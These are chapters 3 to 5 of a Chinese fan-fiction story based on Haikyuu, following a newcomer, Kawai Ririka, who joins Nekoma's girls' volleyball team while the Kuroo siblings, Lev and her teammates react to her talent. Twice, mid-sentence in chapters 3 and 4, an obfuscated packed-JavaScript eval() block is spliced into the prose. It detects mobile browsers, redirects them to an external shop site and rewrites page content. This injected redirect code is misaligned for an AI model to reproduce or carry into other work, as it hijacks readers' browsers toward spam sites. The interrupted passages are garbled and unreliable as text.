“快来啊,跟上啊!” “来了!”我应道。 不管结局如何,现在和眼前这一群人一起奋斗,应该不会差到哪里去吧。 3. 第 3 章 黑尾家有两个参加运动社团的高中生,早晨从不冷清。兄妹俩因为都要参加排球部的晨练,同一时间门对门的房间里传来相同的闹钟声,不多时穿好衣服的二人并肩站在洗手台前哗啦啦洗漱。 黑尾铁朗的头发一如既往,睡姿的缘故让它高高耸起,凭空添了几厘米的高度,很难不让人怀疑是否是他故意的。黑尾铁纱不遑多让,好不到哪去,随意不羁似乎是这个家庭共同的作风,只是女孩子的发质偏软一些,没能像黑尾铁朗那样立起来。 “大哥。”黑尾铁纱吐掉口中的漱口水,镜子里哥哥眼睛半眯、还没完全醒透,她随意开口道,“我们部来了个很有天赋的新人。” 黑尾铁朗闻言睁开眼睛,掬起一捧清水泼到脸上,彻底驱散了睡意。 “是嘛,有多有天赋啊?”他故意拖长语调,漫不经心,“我们部的新人身高可有194哦,还是日俄混血,战斗民族来着,身体素质不要太好!” 黑尾家兄妹的相处模式向来如此。 比起当一个温柔的好哥哥,黑尾铁朗更喜欢和同胞妹妹抬杠,一天不杠就浑身难受。 杠精本精转世成人了。 非常恶趣味,热衷于惹妹妹和竹马变脸。 和拿他没办法的研磨不一样,在家里耍嘴,报应来得很快。 黑尾铁纱右肩斜踢,精准踹在他膝盖窝上。黑尾铁朗平衡被破坏,整个人往前一个趔趄。 “铁纱!你干嘛啊!”像只张牙舞爪的野猫挥出爪子,黑尾铁朗挥动着长胳膊要去掐妹妹的胳膊。 不过铁纱没心思陪他继续开展“兄友妹恭”的晨间剧场。 想到川合莉莉香学妹的加入会给音驹女排带来的变化,她指尖都兴奋到微微发抖。 毫不客气伸手把看起来不着调的哥哥扒拉到一边,黑尾铁纱洗净脸,抬眼看向镜子,镜中映出一双燃烧着炽热斗志的眼睛。 是她的眼睛。 枭谷女排那几个小妞比赛时总调侃她,说黑尾部长困了就睡,醒了再来,永远一副没睡醒的样子。 【什么嘛,原来我认真起来,眼睛也能睁得很大啊。】 她盯着镜中的自己,低声开口:“全国四强——不,搞不好夺冠都有可能。” 她不敢高声,却放任熊熊野心在心头肆意搅动。 昨天参观完排球社团后,今天来到学校第一件事,我去到三年级的班级找到音驹女子排球部的部长黑尾铁纱学姐正式递交了入部申请书。 “哇撒咱们学校什么时候有这么好看的女生了。” “是学妹吗?我恨早生了两年不能和学妹贴贴。” “嘘,看过来了。” 三年级和一年级隔着整整一层楼。穿过走廊的这段路,学长学姐们窃窃私语的声音不绝于耳。我加快脚步,只想赶紧交完表就回去。说来日本的表达方式实在太夸张了,从配音就可以看出来,一些语音语调啊,被这样直白地盯着看、肆无忌惮地议论,让我很不自在。在中国,至多偷偷瞄两眼,绝不会让人这么清楚地意识到自己正被围观。 黑尾铁纱接过申请书,扫了一眼,点点头:“嗯,这样就可以了。” 她随手把表格夹进课本里,然后像突然想起什么似的,随口说道:“对了,我哥那边——就是男排的部长,说他们部昨天也加入了一个新人。据说个子非常高,好像也在你们班呢。” 男排的新人?个子还很高? 说起来,我连班里同学参加了哪些社团都不太清楚。 开学一周多了,课间时常有人聚在一起聊这些话题:谁加入了篮球部,谁被话剧社拉走了,某某和某某去了同一个社团。对话从我身边经过,有时也有一两句飘进耳朵里。 但我从没问过。 因为我没有问过任何一个人,所以也没人来问我。 “……不太清楚。”我说。 “……不太清楚?”她重复了一遍,语气里没有追问的意思,只是轻轻“嗯”了一声。 我:“很重要吗?”我不明白她为什么关注这件事,在我看来男排和女排是两个不同社团,我对和自身无关的人和事不是很放在心上,但转念一想即便分了男女,不管怎么说都是学校学校排球部也算同舟共济关系,也许对这些信息我应当知道?所以我问:“那我回去,了解一下?” 她挥了挥手,好像刚刚只是真的随口提及,已经不放在心上了:“没事,反正人也跑不掉,你以后慢慢就知道了。” 像随手带过一件小事。 川合莉莉香走后,黑尾盯着她背影看了一会儿。 “黑尾,社团新来的学妹啊?”旁边有人凑过来,“长得也太好看了吧,感觉是那种很会来事的类型?” “不是。”黑尾收回视线。 “嗯?” “她啊——”黑尾顿了顿,把她的申请表从课本里抽出来,“还是个小孩子。” 旁边人有些意外:“不会吧?看着不像啊。” “看着是不像。”黑尾说。 印象都是先入为主,漂亮的孩子长得一副聪慧精明,被认为一切都驾轻就熟。 但这个孩子...... 她有点忧心了,是不是比自己以为的,还要不擅长和人打交道? 她想起川合昨儿站在体育馆门口的样子。她光站在那儿,就像该站在舞台上,好像是镜头前被所有人注视也会完美的人。 可真正接触下来,那张脸底下好像藏着一个不太会应对世界的人。 不会主动说话,也不爱搭理人,先以为她冷淡,以为她高傲,以为她拒人千里。 后来发现,是不知如何是好。 “……傻乎乎的。”黑尾小声说。 不是骂人的语气。 她翻了翻手里那份薄薄的入部申请书。女孩子的字迹工整,每个格子都填满了,没有任何一处遗漏。 连“特长”那一栏都认认真真写了“舞蹈(中国古典舞)”。 其实昨天已经当面见过允许入部,申请书就是走走形式,她填个名字交上来就可以了。 明明被硬拉过来说自己不知道会不会喜欢排球,很勉强,好像明摆着要做一只候鸟,昭彰告诉你,她不会在这里久待,但这样的人还是会好好写申请表。 ——是个老实孩子。 黑尾把申请书合上。 回到班级后,我心里惦记着她提到的男排新人,我没费多大功夫就锁定了目标。 因为他特征实在太明显,灰羽列夫坐在那里,要比别人高出整整一大截。 我依稀记得昨天他自我介绍时说过,身高194。 一般特征我听听就过了,但对他我有印象,因为灰银色短发和绿色的瞳孔,混血的长相让他在一众亚洲人面孔里特别明显。 站起来时瘦瘦高高,像要戳破天花板。 除了身高,我能这么快锁定他还有另一个原因是现在班里没多少人。 运动社团要参加晨练,所以会提前到校。我今天只是去三年级交申请书,下午才正式入部,不用参加晨练。但为了避开上学高峰,我特意跟运动社团的人赶同一个时间来了学校。 普通文化社团的学生来得要晚得多。现在教室里除了值日生和几个习惯早到的,剩下基本都是运动社团的人。 这样一来,所谓“男排的新人”,范围就很小了。 在位子上百无聊赖坐着,陆陆续续又有同学来了。 他们进来瞧见我之后就像看到鬼一样,迅速移开了眼神,掩饰般地用手头上动作来自然化,有假装整理课本的,有聚在一起寒暄聊天。 没有人主动和我说话。 我不知道的是—— 不知名同学A:“川合同学今天好早……” 不知名同学B:“她坐在那儿,我都不敢往那边看。” 不知名同学A:“像画一样。” 不知名同学C:“那叫气质,懂不懂。” 不知名同学B:“我当然懂……就是觉得自己凑过去会打扰到她。” 不知名同学C:“那你还想凑?” 不知名同学B:“想想也不行吗!” 不知名同学A:“行了行了,都别说了,她好像往这边看了一眼——” 瞬间安静。 而我——不是吧,我好像也没做什么啊,这才第一天,就已经讨厌我了? 难道我做了什么不符合日本习惯的事情吗? 中国人和外国人真的有壁。 邻座的富士田多多良来了。他眼睛大大的非常明亮,总是散发淳厚温良的气息,比起同龄男生充满攻击性的刚强,他如小鹿一样的神态令他气势稍显薄弱,显得温和。 他也确实是一个温柔的人。 他看看随着渐渐人多而逐渐嘈杂的班上,以及在一片嘈杂中安静到诡异的这块角落,邻座的少女面无表情,下颚绷紧,但手头下草稿纸被她无意识画满了圈圈,富士田多多良哑然失笑,放下包包开口:“川合同学,早上好啊。” 我努力想让自己的表情更亲切一些,挤出一个小小的微笑,“富士田同学,早上好。” 我对他也有印象不仅仅因为他是我邻座,他在班上自我介绍说喜欢跳舞,而且不是街舞,是社交舞,国标。 虽然舞种不同,但跳舞是我唯一能自然开口的话题,对时下青少年中流行事物我一无所知。 我:“我也喜欢跳舞。” 富士田多多良超级开心:“真的吗?那川合同学要不要我带你去小笠原舞蹈教室看看。” 他不好意思地挠挠头:“昨天我鼓起勇气说出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218635|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全班寂静搞得我很尴尬,因为男孩子跳这个很奇怪吧,听到你这么说就安心了!” 他像找到了同盟般兴奋,弄得我要纠正我不是跳国标的话也很难开口,“不是,我——” 我话没说完,被他拉了一把,他摇摇头,我才发现他前座的绯山千夏也来了。 和我黑发截然相反,她留着一头颜色艳丽的红发,眼睛也是绯红色的,像一朵玫瑰一样热烈的女孩子。 我两自觉没再继续这个话题,我知道原因。昨天富士田介绍说自己喜欢社交舞时绯山千夏突然转过头说了句“好挫”,富士田没生气笑了笑,没接话。 后来他说那时他觉得是高中生活第一天最差劲的开始。 然而后来这两人成了跳舞搭档。 在班上白天的时候,我在想一些事情。 虽然黑尾铁纱说我很有天赋,但就我本人来看没有觉得我打得很好,草草试水的3VS3,主攻手的黑尾铁纱并没有参加,两边分别是既是主攻也是接应的佐川麻美、副攻的城山枫和新人的我,而另一边二传的泷枝子,副攻的原田日葵和另一个新人。 隔壁班的小林铃那。 和介绍后就一句话都没说的我相比,她害羞腼腆,站在前辈们面前会无措搓手,说话也细声细气,“……你们好,我是新生小林铃那,从小学就开始打排球,非常喜欢排球!” 相比我就很不靠谱了——我现在有点后悔昨天是不是表现得太诚实了,哪怕当面装一下呢,就像研究生面试、找工作一样,我都经历过啊,明明是完全没offer只有一个愿意接收才去,但是被问到时会口不对心说“我仰慕许久了”。 这种社交的假话我分明可以说出口的。 然而因为佐川麻美、小林铃那......那里的所有人说喜欢排球时的样子那么真,眸子里的光那么亮,让我瞬间自惭形秽,不敢在诚挚的爱面前暴露我的虚伪。 相比小林铃那,我表现蹩脚得是个彻头彻尾的新人,至少从结果上,我们这边输的很彻底,没有如动漫或者小说一样,新人出场就大杀四方之类。 麻美学姐安慰我已经表现得很好了,三年级的城山枫手放在我肩上笑嘻嘻说打得不好也没关系,和她一起当混子吧。 这样的宽容并没有让我心里好受,说句自视甚高的话——我对自己期望很高,因为一直在自己拿手的领域游刃有余。 和她们不同的是,二传手泷枝子学姐是真的对很不满意。 “你准备把球弹向哪里去啊!” ——当我看到球向我飞来时下意识伸出单手去碰球向场外偏折后 “不行不行,击球的力度你以为在绣花吗?!” ——当我跳到空中,看到斜前方有人拦网后反手把球拍向相反方向但因为力气不够速度太慢被她轻易拦下后。 她都这么对我怒吼。 非常严苛的学姐,很不好相处一样,但是我不讨厌她。 因为真的很帅啊,二传手。 冷静地组织起攻势,自如地喂球给攻击手,托举起她的队友。 比赛结束麻美学姐怕我被泷枝子学姐恶劣的态度吓到宽慰我甚至说“泷那家伙你别理她,我也烦她烦得要死,她可能到了每个月暴躁的日子了,不是针对你的。” “佐川大笨蛋——”泷枝子气得要拿球打她。 佐川麻美吐了吐舌头。 不是这样的。 麻美学姐嘴里说着“烦她烦得要死”,可比赛时投向泷枝子的目光,和这里的每一个人一样,是信赖的、安心的、交付后背的目光。 我蜷起手指。 换了一个世界之后,我一直找不到方向,也找不到想做的事。 我还没有喜欢上排球,但刚才那一刻,我忽然想,我也想做被那样注视的人。 “今年排球部竟然有两个新人加入哦。我们的队伍又变大了哦。”黑尾学姐从身后揽住我两的肩膀。我有些不习惯她的热情,身边的小林也不好意思,两只手在身前握紧。她感受到我在看她,转过脸对我露出一个羞涩腼腆的笑容。 她脸侧有一个小梨涡浅浅的。 灰羽列夫因为身高的缘故,坐在最后一排,和我相隔两排。 我有意无意留意他。 灰银色的短发和绿色玻璃珠子一样的眼瞳,脸庞里还是能看出俄罗斯人的血脉痕迹。 很帅气,很健壮的男孩子,人气也很高。 我的才能......到底要怎么变成我的力量呢。 灰羽同学也是新人的话,会不会和我有一样的问题呢。 睡觉中的灰羽列夫:昨天学长非要拉我留下来加训,好累,肌肉好痛! 班级同学ABCDE:完了完了,川合同学又看灰羽了,难道她对他一见钟情??!!可恶! 4. 第 4 章 灰羽列夫睡醒了。 他慢吞吞从臂弯里抬起头,灰银色短发翘得乱七八糟,绿色的眼瞳还没对焦,整个人像只刚被吵醒的大型猫科动物。 晨练后的疲倦感,配上某些老师毫无起伏的讲课语调,催眠效果拉满。他睡得并不安心,毕竟这里不是家里卧室那张温暖的床。他那傲人的身高在这时拖了后腿,哪怕坐着也高旁人一截的庞然巨物,匍匐在桌面上很难不像靶子,分分钟吸引老师的目光。 他的成绩还没好到让科任老师对他的大睡特睡网开一面。只能趁自己坐在教室后头、老师大多时候只在前排转悠,在视角盲区见缝插针地补觉。 除此之外另一个原因——他揉了揉眼睛,下意识往周围扫了一圈。 我飞快低下头,假装在看桌上那本压根没翻开的课本。 灰羽列夫歪了歪头,唇角弯起一点弧度。 ——哎呀,抓住了。 撞上他视线后表情奇怪、动作僵硬的同班女生,演技也很差。 在睡觉的时候会感觉有人在偷瞄他,就是她吧。 灰羽列夫打了个哈欠,脑子里浮出那个女生的名字。 是叫……川合莉莉香? 因为是混血,班上同学对他一直很感兴趣,追着他打听俄罗斯的事情。他们不知道灰羽列夫从小在日本长大,顶着外国人长相但俄语其实完全不会。灰羽也从来不纠正这样的误解,甚至偶尔心情好会满足一下大家的好奇,说几句自己从电视上学来的简单单词。 反正没人怀疑他说错,长相太权威了。 所有人都对他很热情。 于是里面唯一冷淡的那个,就显得格外突出。 真有趣啊。 “灰羽,走啦!”教室门口有男生在招呼他。 他应了一声,起身往外走。 我悄悄松了口气,他好像没把刚才的对视当回事。 脚步声在门口停住了。 “川合同学。” 我抬起头。不知什么时候折返回来的少年,往前探了半个身子,弓着腰,似笑非笑地看着我。 “你好像,一直在看我呢。”这不是疑问句,他虽然用了“好像”的表述,语气却很笃定。 我的后背僵住了。 “……没有。” 他眨了眨眼睛,“是吗。”他的语气听不出是信了还是没信。 然后他就走了。 我盯着他消失的背影,盯了十秒钟。 ——被发现了。 【音驹男排体育馆内】 “教练呢?” 下午的社团时间,夜久卫辅左右张望。往常会站在场边、笑得像只招财猫、眼睛眯成两条缝的猫又教练,今天不见人影。他是音驹男子排球部的自由人,在后场屈膝接起黑尾铁朗打来的重扣球后,直起身用手背甩下两颊的汗珠。 和黑尾铁朗组队练习固然很累,不过……夜久卫辅不敢看另一边——队里二传手孤爪研磨举起手,把球托向队里的新人灰羽,排球在空中抛起一道弧线后,灰羽信心满满的挥手准备重重拍下。 然而又是一次不惊讶地挥空。 夜久卫辅暗暗庆幸:还好大麻烦在对面。 这么一想,平时老跟他斗嘴、喜好处处相左的黑尾铁朗,都显得可爱了。 孤爪研磨拿灰羽没办法,他本来就是低能量人,他做了暂停的手势向灰羽列夫表示他需要休息。听到夜久卫辅的疑问,他无语地叹气,回答道:“女排那边好像也有新人,猫又教练和领队都去那边了。” “诶?什么来头?” 夜久卫辅有些意外。 今天刚结束招新,新人入部头一周都算体验期。觉着不合适、或者被其他社团拉走,都是常有的事。退部率最高的就是这一周。 教练一般不会在这个时期花太多精力关注新人,毕竟谁都不知道最后能不能留下来。 男排这边今年拉进来的灰羽列夫,高中才接触排球,技术还很薄弱。但无论是教练还是他们这群前辈,都看好他那过人的身高和身体素质,盼着他能成为音驹进攻端的新战力。 相比之下,女排那个新人——还不知道是骡子是马呢。 教练不应该先顾着这边吗? 夜久卫辅这么想着,对“女排的新人”生出一点好奇。 “打什么位置?” “不知道。”孤爪研磨说。 “啊?你都知道那边有新人了,这信息不顺带——” “我说不知道的意思是,”孤爪研磨打断他,“还没确定。” 他朝灰羽列夫的方向抬了抬下巴,“据说跟这家伙一样。高中才接触排球,以前没打过,没有参考。” 夜久卫辅皱了皱眉:“又是一个彻头彻尾的新人?” 虽然灰羽列夫很有天赋,他们对他也怀有信心,不过训练一个从零开始的小白真的很麻烦,不是因为音驹擅长防守体系而攻击力不足指望灰羽补足进攻性,他们这群“老家伙”哪能拿出这样的耐心? 因此,在新人身上下注,如果没有相当高的回报率是得不偿失的。 “听说有过人之处吧,铁纱过来和教练说了什么,就一起过去了。”孤爪研磨和黑尾兄妹青梅竹马一起长大,对黑尾铁纱就直接称呼名字,他看向黑尾铁朗有气无力地抱怨:“小黑,我不想和列夫托球,他接球好烂的。” “欸——研磨学长也太直接了啊!”灰羽列夫一副被狠狠伤到了的表情。 “不行!”黑尾铁朗哈哈笑道。 他知道研磨只是说说,事实上还是会任劳任怨托球,帮助新人练习、提升实力。 这就是前辈啊,一切为了音驹的胜利。 “只能允许你多休息五分钟。”孤爪研磨朝他翻了个白眼。 “女排的新人啊……”想起今天早上妹妹说的话,黑尾铁朗若有所思望向女排场馆的方向,眼睛里闪闪发光,“一想到后面有才能的新人辈出,音驹的新鲜血液源源不断,真是让人热血沸腾啊。” “研磨说‘有过人之处’,到底是什么过人之处?” 没有教练监督,间隙休息觉得无聊的男高中生你一言我一语,顺着发散想象起那个素未蒙面的新人模样。他们一致认为能被教练亲自去看,总得有点硬条件,有人猜这个新人大概和灰羽列夫一样,个子高、肩宽、身体素质突出。 毕竟没打过排球的人,能被一眼看中,多半是硬件条件硬到戳穿钢板。 他们把眼前现成的灰羽列夫换了个性别,套到那个还没见过面“女新人”身上。 “腿长,胳膊长,跳得高。” “扣球肯定很有力。” “那种类型。” 黑尾铁朗听着听着,表情逐渐微妙。 “……我们是在讨论什么女金刚吗?” 众人一顿。 山本猛虎超向往女朋友,对沾染排球色彩的女孩子才提起一点兴趣就被同伴的话吓退,“感觉一点都不可爱,好可怕的样子啊!” 都想象的什么肩能跑马、脚能提缸的画面,太夸张了。 一直没有说话的灰羽列夫举起手:“前辈们。” “那个新人,我应该认识,是我同班同学来着。” 众人齐齐看向他。 山本猛虎第一个蹦起来:“是你同班同学?你班上竟有这等英雄人物?” “山本学长不要胡说了。” 灰羽原本累得不想说话,但眼见几个前辈越说越离谱,尤其是这些描述放在川合莉莉香身上。他想得亏他们没见过她,不然这些词他们会自己撕碎咽下肚去。 “那你说,她是什么样的人?”山本猛虎本就对女孩子的话题来劲,这下非得和灰羽辩个明白,“是现在就会被教练重视的新人诶,能是一般人吗?” 这样的猜测其实也并非完全毫无道理。排球是一项竞技运动,一个完全没接触过排球的人值得特别关注,既然没有技术可言,那可不得往身体硬指标上加强了吗? 灰羽列夫就是例子。 “什么样的人啊……”灰羽列夫顺着学长的逼问联想起来,立即浮现的是和他撞上实现后掩耳盗铃移开视线,一秒数十个动作遮掩,手足无措的少女。 “……就,”他说,“还蛮可爱的吧。” 和男排沉迷八卦不同,女排体育馆里俨然是另一番景象。 猫又教练站在场地边缘处,圆润的身材,如一只经验丰富的老猫,老奸巨猾又满腹心思。黑尾铁纱邀请教练对今年两个新人“掌掌眼”。 川合莉莉香和小林铃那被安排和部里的主力进行练习配合,队长黑尾铁纱站在他旁边,两人皆表情严肃。 “你想得没有错。”猫又教练说,“虽然现在还漏洞很多,但是凭川合的身体条件,这孩子接球之后不会差的,只是时间问题而已。” “而且……”他慢吞吞说道,“确实天赋惊人。”他很多年没有见到这样的孩子了,先前黑尾铁纱找他说新人的事情时,他也是预判又是一个灰羽列夫,那也很好却并不惊喜,现有的队伍里拥有打排球的好身体的人有很多,他顶多为黑尾她们高兴罢了。 但现在他却眼也不眨盯着场内的情况,尤其是川合莉莉香,看到某些细节,他示意黑尾铁纱顺着他指的方向看去,问她,“看出什么了吗?” 黑尾铁纱神色复杂:“进步……太迅速了。” 初学者在掌握了一定方法后会表现出和从前相比巨大的进步,毕竟原先起点很低,从0增加到3不难,对于她们这个层次,难的是从8到10,之后的每一次前进都会让战斗力成倍数增加。 尽管如此前期进步容易,但川合莉莉香的进步速度还是太明显了。 “是球感。”猫又教练一针见血,“球感是一种知觉,球感好的球员可以自如控制球进而支配球。排球的接球和击球靠手,需要手腕和手指的灵活性。你之前说那孩子是跳舞的对吗?”黑尾铁纱点点头后,猫又教练接着说,“跳舞是一项精确度很高的运动,手部的摆动定格都有讲究,结合这孩子本身的天赋,你看到她的手上的动作了吗?” “非常细腻——” 排球竞争性非常激烈,但动作的精准性全靠细腻的手上功夫拿捏。 “上天太不公平了吧……”黑尾铁纱听到身边的部员自语,她略带安慰拍了拍身边人的肩膀。 她不是不能理解这种感叹。 有些人的存在会让周围人觉得残酷。尤其是当你已经觉得他们独得上天厚爱时,命运用实际告诉你,它还可以更偏爱,他们可以拥有更多。 长得非常、非常可爱的莉莉学妹,黑尾铁纱原以为她在排球上的优势是她昨天表现出的灵巧自由的动作和弹跳滞空能力,认为她像一只长着翅膀的雀鸟。 猫又教练却看出了更深的能力。 昨天她认为川合学妹会相比其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218636|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接球者有更大可能接住来向角度刁钻的球,那么今天球感一出——她不得不承认,哪里是雀鸟。 分明是一只前途无限,广阔天际都任她驰骋的鹰。 待雄鹰羽翼丰满,相同位置的选手必将被其光芒的阴影笼罩。 竞技,寄托了无数运动员的梦想,但是也是如此残酷。 川合莉莉香一定会是音驹正选中的一员,今后征战的主要战力。 “那,那个孩子呢?” “小林她……”黑尾铁纱不面露些许不忍和惋惜,“从履历看,小林她非常喜欢排球,国中时期就加入她学校的排球部,但是——” 她觉得很难说出口,如果是国中就打出了名声可能更有可能加入女排现在名声更广的夺冠种子队枭谷,小林铃那既然选择了音驹,就说明不是这种情况。 她的国中排球经历碌碌无名,现在练习时表现出的能力不能说不好,基本功扎实,充分说明她多年在排球上耗费的精力和时间。 然而只能说平庸。 她确实是一个对排球绝对热爱和认真的孩子,训练也很努力。 黑尾铁纱想,所以她第一眼见到这个女孩子时,她是喜欢她的,和旁边一脸茫然,甚至被拉着有几分无所谓的另一个人比起来,小林铃那捏着申请书交给她的时候,手是颤抖的,嘴唇是翕动的,眼神是希冀的。 但是,这就是竞技。 不是谁经历的时间更长,谁更热爱就可以获胜。 它相当吃天赋。 没有天赋,之后的发展空间,极其有限。 这对于一个如此热爱排球的孩子来说,如此残酷。 黑尾铁纱看出了这些事情,但还心存侥幸万一她经验不足判断不准呢,她不愿草率否定这样一个女孩子在排球上的发展,所以她请来了猫又教练。 “小林铃那,不能成为正选,但是作为替补的副攻可以的。”猫又教练评估,这个结论他相信不需要他多解释,黑尾铁纱的判断力早就能做出了,只是在于她想不想。 难得是另外一个人。 “完全没有过往参照的纯新人啊。”猫又教练感叹,“好也不好。” “这意味着她的路径是不受限的,可以往很多方向挖掘、尝试。”他说,“不过也要结合音驹现在的空缺。” “关于川合的位置,我想二传或者自由人会更合适吧。”黑尾铁纱点点她手里记录部员数据的本子,“现在的二传是二年级的泷枝子,她传球技术是可以的,关键是她身高很高身体也很结实,可以承担网前的拦网任务。而川合学妹如果当二传的话,168的身高还是差点。虽然她跳得不矮,但是长时间空中作战,对于她体力消耗也太吃亏了。况且——”她分析到,“我们音驹的板凳可不厚啊,枝子的战力不能浪费。或许川合传球发展的上限比枝子高,但是现阶段,枝子担任二传更好。” 她总结:“我认为川合学妹应该担任自由人会更好,而且上届学姐毕业后,音驹自由人的位置正是空缺啊。” “自由人的位置,能让川合学妹的能力发挥的淋漓尽致的。” 猫又教练赞许地点头附和她的想法。 黑尾铁纱是黑尾铁朗的妹妹,黑尾兄妹二人能够在两个部担任部长之位,他们不是在排球上最天才的人,但他们的冷静沉重是保证音驹稳定的基石。 有这样的部长担任后盾,部员们才能安心施为。 在他们说话的功夫,排球场上发生了一些波澜。 泷枝子一记非常大力的跳发,直接打在川合学妹的手臂上,紧接着她的手很快开始泛红。 内部练习,本不需要用这么大的力气。 这像是卯足了全身气力一样,黑尾非常了解她的同伴,她从这一球能感受到来自枝子的情绪,不满、愤怒,还有焦虑。 过于优秀的后辈对于前辈也是巨大的压力源头。 尤其是两者还存在位置的重合。 害怕被取代,害怕被队伍丢下。 黑尾铁纱忆起泷枝子一年级的时候。前面担任二传主力的前辈还没引退,她坐在替补席上,看学姐在场上组织攻势、托起每一颗球。 她练习到最晚,走之前会把散落一地的排球一个个收进球筐。 后来她成了正选,成了队伍不可或缺的二传手。 她不是天才。她的每一步,都是自己挣来的。 而此刻,一个刚入部一天的新人,正以肉眼可见的速度成长。 黑尾铁纱想,只要告诉她川合的位置是自由人,枝子心情会放松些吧。 “先不要告诉她们川合的位置。”猫又教练吩咐道,他看着场上一派高深莫测,“压力转化为前进的动力,泷如果能自己走出来,这未尝不是一次凤凰磐涅的机会。” 黑尾铁纱沉默了几秒。 “是。” 泷枝子又发了一球,这一球落点在界内,川合莉莉香这次扑出去了。 在很多次这样的碰撞后,她的动作已经称得上漂亮。 泷枝子没有吼她。 她只是看着她的队友和新来的学妹欢呼着抱在一起,而她转过身,走向自己的位置,没有看任何人。 黑尾铁纱垂下视线,盯着手里记录数据的册子。 这是她高中排球的最后一年。 这一切都是为了在今年不留遗憾。 枝子,莉莉。 “……加油啊。” 5. 第 5 章 以上对话保留在队长黑尾铁纱和教练之间,两个人都不会把这样的用心大肆宣扬出去。 这是一场对两个女生的考验。 无论是对于作为前辈的泷枝子还是后辈的川合莉莉香。 但对于不知道内情的其他人,这样表面正常内里压着火的氛围就不太好受了。 佐川麻美是一个天真可爱的姑娘,心思浅白,她像一只敏锐的小动物隐隐感觉这几天社团内部气氛紧张。 莉莉和枝子,两人都没有正面发生冲突,但练习中两人同队却毫无合作可言,而一旦分到对抗,就剑拔弩张了。 麻美急得不行,之后就是inter high日本全国高校综合体育排球大会了,这个时候内讧不是瞎闹嘛,好不容易等来了似乎不错的后辈。此时不众志成城齐心协力,还要花时间内耗? 她不相信除了她之外队伍里的都是瞎子和聋子。然而事实是,除了她兀自焦急,其他人却稳如泰山队里二年级就她和泷枝子、原田日葵三个人。找学姐抱怨,麻美有点犯怵。她想了想,还是去找了原田。 “我建议你别管。” 原田日葵头都没抬,语气直接得有点伤人。 “你好闲啊,是她们两个人的妈妈吗?” 麻美横她一眼。 这就是为什么她不是第一时间来找原田的原因——按理说,同年级三个人,该比学姐更亲近。原田日葵这个人,很冷静,很靠谱,和成绩不好、被认为“头脑简单四肢发达”的麻美不同,是年级里标准的好学生。 听起来很好。 可惜没有完美的人,原田日葵说话特别毒。 不认识她的人,会以为她是刻薄。 麻美有时候想,难道原田不知道自己这样说话很欠揍吗?不应该啊。连她这种大大咧咧的人,都知道有些实话说了会让人不高兴,原田一个优等生能不懂? 后来麻美想明白了。 原田日葵就是纯粹的想说。不管不顾,只说自己想说的话。 你高不高兴,那是你的事,反正她爽了。 就像现在。 麻美满心焦虑来找她商量,她不光不安慰,还翻白眼。 面对麻美的控诉,原田日葵“哦”了一声。 她是单眼皮,有点下垂眼。长度到脖颈的头发随便扎着,碎发掉下来也不拨。 麻美看她这副事不关己的样子就来气。一个人焦虑的时候,最看不得另一个人太闲。 她恨不得伸手捶她:“那你说怎么办?就不管?” 原田这才抬起头,表情像是听到了什么奇怪的问题。 “那你说怎么管?”她说,“是把两个人中的谁拎过来骂一顿?” “你把枝子喊过来教育一通?她面上可是好好在配合新学妹练习。你也知道,新人光靠咱们攻击手没用,得有二传给她托球。人家怎么说——尽职尽责,牺牲自己的时间。就算严苛一点、脾气暴一点,你把她搞烦了,她直接甩手不干,我看你怎么办。” 麻美:“啊这……” 原田冷眼瞅着她,继续道:“那你喊川合过来?天啊,人家是新人,犯错多也不能怪她。况且还是你把她拉进来的。你再多说两句,小学妹一生气,退部了。” 麻美:“……” 原田用手指戳她肩膀:“来来来,你告诉我,这事咱们怎么管?” 麻美两手不安地搓着衣角,嗫嚅了半天。 “……我不信你没看出枝子带着情绪。”她叹了口气,“我就是不明白。好容易来了个学妹,莉莉有多天才、上手多快,你看得出来,我也看得出来。枝子难道看不出来?” 她愁眉苦脸。 因为川合莉莉香是自己拉进来的,麻美对她总比别的学妹多几分看顾心。如果莉莉在队里过得不好,她心里过不去——当初是她跟传销似的发展下线,把人一个漂漂亮亮的小姑娘拖进来。虽说是川合自愿的,可要不是她,莉莉说不定就去别的社团了。戏剧社多好,指定把她当镇部之宝供着。 想到这里,麻美对泷枝子多少有些不满。 她认可泷枝子付出了很多精力。可为什么不能对一个这么温柔可爱的学妹多点耐心、多点关心呢? 她最初的想法,是游说原田和她一起,好好劝劝泷枝子。 ——别针对学妹了。你甚至该哄哄她,不然真把人气走了。 “你可想明白,”原田日葵一眼就看出麻美那点没出息的心思,头晃得飞快,“我们这个时候,千万不能站队。” “我可不跟你去找枝子。” 麻美瞪眼:“你这个人好没义气啊!” “川合学妹现在随时都能退出。”原田说,“枝子才是我们从一年级就一起奋斗的队友。你现在为了新来的学妹去责备枝子——你让她心里怎么想?” 她顿了顿,瞥了麻美一眼,压低声音。 “而且……你真觉得枝子是因为嫉妒川合?” “我就是觉得不是,才觉得她莫名其妙啊!”麻美声音抬高了。 “除了咱俩,同级就我们三个。我和你都肯定,她不是这么小气的人。”她越说越委屈,“可其他人呢?你看队长和教练的意思,是这么觉得了。” “她到底图什么啊???” 麻美顿了顿,声音低下去。 “……所以我才想让她尽快解除大家的误会嘛。” 她觉得自己这建议对所有人都好。她期待大家和和美美的。她不明白,为什么自己的良苦用心,原田就是不支持。 原田日葵沉默了几秒。 